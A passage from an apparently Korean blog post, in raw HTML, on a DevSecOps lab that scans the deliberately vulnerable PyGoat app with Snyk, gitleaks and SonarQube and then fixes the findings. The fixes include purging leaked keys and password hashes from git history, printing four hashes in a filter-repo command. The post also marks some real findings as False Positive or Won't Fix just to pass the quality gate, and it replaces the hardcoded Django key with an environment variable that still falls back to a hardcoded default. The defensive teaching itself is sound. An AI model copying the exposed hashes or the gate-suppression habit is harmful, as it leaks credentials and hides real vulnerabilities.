        run: | # 1. 의존성 사전 설치 (Snyk의 분석을 돕기 위함)
          python -m pip install --upgrade pip
          pip install -r requirements.txt
          npm install -g snyk 
        # 2. Snyk CLI 설치
      - name: Run Snyk Test
        continue-on-error: false # 실습에서는 취약점이 있어도 성공하려면 true로 변경하면됨
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
        run: | # --skip-unresolved: 설치 안 되는 패키지는 건너뛰고 분석 강행 # --org: 네 Snyk 조직 ID 연결
          snyk test --file=requirements.txt \
                    --org=${{ secrets.SNYK_ORG_ID }} \
                    --skip-unresolved=true \
                    --sarif-file-output=snyk.sarif&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;4. 취약점 해결&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 본격적으로 취약점을 해결해보자&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4-1 gitleaks 취약점 해결&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1) Project_key 커밋 기록&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;176&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMz86G/dJMcai39Vm2/OBPseKN01jtm5jbrkpvUx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMz86G/dJMcai39Vm2/OBPseKN01jtm5jbrkpvUx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMz86G/dJMcai39Vm2/OBPseKN01jtm5jbrkpvUx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMz86G%2FdJMcai39Vm2%2FOBPseKN01jtm5jbrkpvUx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;176&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;176&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;check_gate 파일을 만들떄 처음에 Poject_key를 하드코딩 했었는데 이게 git 기록에 남아서 gitleaks에 걸렸다.&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;토큰 재발급&lt;/li&gt;
&lt;li&gt;git 히스토리 영구 삭제&amp;nbsp;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;git-filter-repo를 이용한 시크릿 살균&lt;/li&gt;
&lt;li&gt;원격 저장소 재연결 후 서버 강제 업데이트&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1777445393780&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 도구 설치 (최초 1회)
pip install git-filter-repo

# 2. 히스토리 내 시크릿 치환 실행
# '유출된_시크릿'을 찾아 '***REMOVED***'로 강제 치환합니다.
git filter-repo --replace-text &amp;lt;(echo &quot;유출된_시크릿==&amp;gt;***REMOVED***&quot;) --force

# 본인의 원격 저장소 주소를 다시 등록
git remote add origin https://github.com/사용자명/저장소명.git

# 모든 브랜치의 히스토리를 강제로 덮어씁니다.
git push origin --force --all&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2) CSRF 토큰 노출&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;185&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nlcPU/dJMcab45DQS/YVGmKpFwlrwjLjBkcsDEqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nlcPU/dJMcab45DQS/YVGmKpFwlrwjLjBkcsDEqK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nlcPU/dJMcab45DQS/YVGmKpFwlrwjLjBkcsDEqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnlcPU%2FdJMcab45DQS%2FYVGmKpFwlrwjLjBkcsDEqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;185&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;185&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;b&gt;CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조)&lt;/b&gt;란 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 웹사이트에 요청하게 만드는 공격 기법&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;--&amp;gt; filter-repo로&amp;nbsp; 위 과정과 마찬가지로 git 히스토리 삭제 + 현재 로컬 파일 내용 변경&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;3) JWT 토큰 노출&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;648&quot; data-origin-height=&quot;520&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8PGpt/dJMcacppe9F/irv2nQDRSQt3k4AZDrmmkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8PGpt/dJMcacppe9F/irv2nQDRSQt3k4AZDrmmkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8PGpt/dJMcacppe9F/irv2nQDRSQt3k4AZDrmmkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8PGpt%2FdJMcacppe9F%2Firv2nQDRSQt3k4AZDrmmkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;403&quot; height=&quot;323&quot; data-origin-width=&quot;648&quot; data-origin-height=&quot;520&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마찬가지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;4)&amp;nbsp; 사용자 비밀번호 하드코딩&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;452&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S09pT/dJMcadu0uab/LXzKVa9T3pkYXskd9gGyJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S09pT/dJMcadu0uab/LXzKVa9T3pkYXskd9gGyJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S09pT/dJMcadu0uab/LXzKVa9T3pkYXskd9gGyJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS09pT%2FdJMcadu0uab%2FLXzKVa9T3pkYXskd9gGyJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;377&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;452&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;git show 를 사용해서 git 히스토리를 살펴보니 user1부터 4까지 비밀번호가 노출되있었다.&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777447689422&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git show 05c0f787a0:pygoat/introduction/views.py | sed -n '1010,1025p'&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cc7UIu/dJMcacppfZS/hKKlyRutrmP3ZFj2R9SAJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cc7UIu/dJMcacppfZS/hKKlyRutrmP3ZFj2R9SAJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cc7UIu/dJMcacppfZS/hKKlyRutrmP3ZFj2R9SAJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcc7UIu%2FdJMcacppfZS%2FhKKlyRutrmP3ZFj2R9SAJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;927&quot; height=&quot;237&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;마찬가지로 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;filter-repo&lt;/span&gt; 사용&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777447758072&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git filter-repo --replace-text &amp;lt;(cat &amp;lt;&amp;lt;EOF
491a2800b80719ea9e3c89ca5472a8bda1bdd1533d4574ea5bd85b70a8e93be0==&amp;gt;***REMOVED***
c577e95bf729b94c30a878d01155693a9cdddafbb2fe0d52143027474ecb91bc==&amp;gt;***REMOVED***
5a91a66f0c86b5435fe748706b99c17e6e54a17e03c2a3ef8d0dfa918db41cf6==&amp;gt;***REMOVED***
6046bc3337728a60967a151ee584e4fd7c53740a49485ebdc38cac42a255f266==&amp;gt;***REMOVED***
EOF
) --force&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4-2 SonarQube 취약점 해결&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SonarQube의 리포트를 읽어서 직접 정한 보안 규칙에만 통과하도록 취약점을 골라서 해결해보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;현재 기준&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;security&lt;/b&gt; : A이상&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Reliability&lt;/b&gt; : A 이상&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Coverage&lt;/b&gt; : 0% 이상( 그냥 통과)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Security Hotspots&lt;/b&gt; : 100개 이하&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;387&quot; data-origin-height=&quot;485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEkHq0/dJMcahYxoyR/2pTjkCAi6lFyYEqTXNXnVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEkHq0/dJMcahYxoyR/2pTjkCAi6lFyYEqTXNXnVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEkHq0/dJMcahYxoyR/2pTjkCAi6lFyYEqTXNXnVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEkHq0%2FdJMcahYxoyR%2F2pTjkCAi6lFyYEqTXNXnVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;387&quot; height=&quot;485&quot; data-origin-width=&quot;387&quot; data-origin-height=&quot;485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pygoat 자체가 취약점을 가지는 앱이므로 직접 다 제거하기에는 너무 많고 가장 취약한 Blocker만 해결하고 나머지는 status를 False Positive나 Won't Fix로 변경하여 통과하도록 하자.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1)&amp;nbsp; 안전하지 않은 역직렬화 취약점&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;656&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cn1PLI/dJMcacCXxTU/aNZQZfWPAvpFJpuBNlvkJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cn1PLI/dJMcacCXxTU/aNZQZfWPAvpFJpuBNlvkJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cn1PLI/dJMcacCXxTU/aNZQZfWPAvpFJpuBNlvkJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcn1PLI%2FdJMcacCXxTU%2FaNZQZfWPAvpFJpuBNlvkJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;705&quot; height=&quot;529&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;656&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4주차 Falco를 이용한 런타임 보안 및 eBPF 기반 위협 탐지 실습에서 사용될 수도 있어서 일단 고치지 않고 status만 변경&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2) 불필요한 네트워크 노출&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;847&quot; data-origin-height=&quot;727&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/F2u3u/dJMcabjLlhr/3VGpZ1UpvqCH3FleMN3Fuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/F2u3u/dJMcabjLlhr/3VGpZ1UpvqCH3FleMN3Fuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/F2u3u/dJMcabjLlhr/3VGpZ1UpvqCH3FleMN3Fuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FF2u3u%2FdJMcabjLlhr%2F3VGpZ1UpvqCH3FleMN3Fuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;590&quot; height=&quot;506&quot; data-origin-width=&quot;847&quot; data-origin-height=&quot;727&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,0,0&quot;&gt;진단&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-path-to-node=&quot;2,0,1&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,0,1,0,0&quot;&gt;불필요한 네트워크 노출(CWE-1327)&lt;/b&gt; 발생.&lt;/li&gt;
&lt;li&gt;웹 서버가 루프백(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;127.0.0.1)&lt;/span&gt;이 아닌 모든 네트워크 인터페이스(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;0.0.0.0)&lt;/span&gt;에 바인딩되어 외부 접근이 무분별하게 허용된 상태임.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,1,0&quot;&gt;위협&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-path-to-node=&quot;2,1,1&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,1,1,0,0&quot;&gt;공격 면적 확대&lt;/b&gt;: 로컬 테스트 목적의 서비스가 공인 IP나 외부 네트워크에 노출되어 취약점 스캔 및 무차별 대입 공격의 타겟이 됨.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,1,1,1,0&quot;&gt;내부망 이동(Lateral Movement)&lt;/b&gt;: 동일 네트워크 내의 다른 컨테이너나 호스트가 보안 인증 없이 해당 서비스에 접근하여 데이터를 탈취하거나 로직을 악용할 수 있음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,2,0&quot;&gt;해결 방안&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-path-to-node=&quot;2,2,1&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,2,1,0,0&quot;&gt;호스트 바인딩 주소 수정&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;app.run(host='127.0.0.1', port=8080)&lt;/b&gt;&lt;/span&gt;으로 변경하여 로컬 호스트 내부에서의 통신만 허용.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,2,1,1,0&quot;&gt;환경 변수 활용&lt;/b&gt;: 배포 환경에 따라 호스트 주소를 동적으로 할당할 수 있도록 &lt;span style=&quot;background-color: #f6e199;&quot;&gt;os.environ.get() &lt;/span&gt;방식을 도입하여 코드 내 하드코딩 방지.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;2,2,1,2,0&quot;&gt;보안 가드레일 적용&lt;/b&gt;: GitHub Actions CI 과정에서 0.0.0.0 바인딩을 탐지할 경우 빌드를 실패하게 만드는 자동화된 정책 검사(Policy as Code) 반영.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3) Django secret key 하드코딩&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;892&quot; data-origin-height=&quot;527&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JlF0n/dJMb99TJ0Sx/2s7z3rP7KWo065Rrd44M4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JlF0n/dJMb99TJ0Sx/2s7z3rP7KWo065Rrd44M4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JlF0n/dJMb99TJ0Sx/2s7z3rP7KWo065Rrd44M4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJlF0n%2FdJMb99TJ0Sx%2F2s7z3rP7KWo065Rrd44M4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;726&quot; height=&quot;429&quot; data-origin-width=&quot;892&quot; data-origin-height=&quot;527&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. GitHub Secrets 설정 (보관)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GitHub 저장소의 &lt;b data-index-in-node=&quot;16&quot; data-path-to-node=&quot;3,0,0&quot;&gt;Settings &amp;gt; Secrets and variables &amp;gt; Actions&lt;/b&gt; 메뉴로 이동
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;3,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,1,0,0&quot;&gt;Name&lt;/b&gt;:&lt;span style=&quot;background-color: #f6e199;&quot;&gt; DJANGO_SECRET_KEY&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;3,1,1,1,0&quot;&gt;Value&lt;/b&gt;: 실제 사용 중인 Django 시크릿 키 값 입력&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 코드 수정 (연동)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;위치&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;settings.py&lt;/span&gt; 파일 내 SECRET_KEY 정의 부분 수정.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;내용&lt;/b&gt;: 하드코딩된 문자열을 삭제하고, os.environ.get()을 사용하여 환경 변수로부터 값을 읽어오도록 변경함.
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;import os
SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY', 'default-safe-key-for-dev')&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 워크플로우 YAML 수정 (주입)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-path-to-node=&quot;7&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;환경 변수 선언&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;.github/workflows/ &lt;/span&gt;내 YAML 파일의 env 섹션에 시크릿을 매핑함.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;문법&lt;/b&gt;: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;${{ secrets.DJANGO_SECRET_KEY }} &lt;/span&gt;형식을 사용하여 GitHub에 저장된 값을 가져옴.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. Git 반영 (완료)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
